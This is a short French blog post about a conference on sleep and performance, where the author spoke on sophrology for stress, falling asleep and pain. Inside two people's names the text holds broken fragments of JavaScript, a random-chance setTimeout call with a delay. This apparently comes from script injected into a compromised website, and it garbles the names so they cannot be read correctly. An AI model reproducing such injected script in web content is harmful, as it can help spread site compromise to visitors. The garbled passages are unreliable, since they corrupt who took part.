A l’occasion de la journée nationale du sommeil, j’ai eu la chance de participer à une conférence ludique sur le thème du sommeil et de la performance.
Aux côtés de Dr Rolandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Seibert, spécialiste des pathologies du sommeil et de Laurent Escobedo, finisher du marathon des sables, j’ai eu l’occasion de parler de la sophrologie appliquée à la gestion des émotions et du stress, à la préparation à l’endormissement ou au ré-endormissement, à la gestion de la douleur etc… Une pratique psycho-corporelle qui permet de mieux gérer son sommeil et sa fatigue lors d’une épreuve intense, qu’elle soit physique ou mental !
Un moment particulièrement chargé en émotion… celui durant lequel les 300 personnes présentes dans la salle se sont autorisées à fermer les paupières pour vivre un temps de lâcher-prise.
Découvrez la vidéo d’introduction réalisée par Alexandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andre Mirgain qui met en lumière le sommeil de sportifs professionnels ou anciens professionnels :
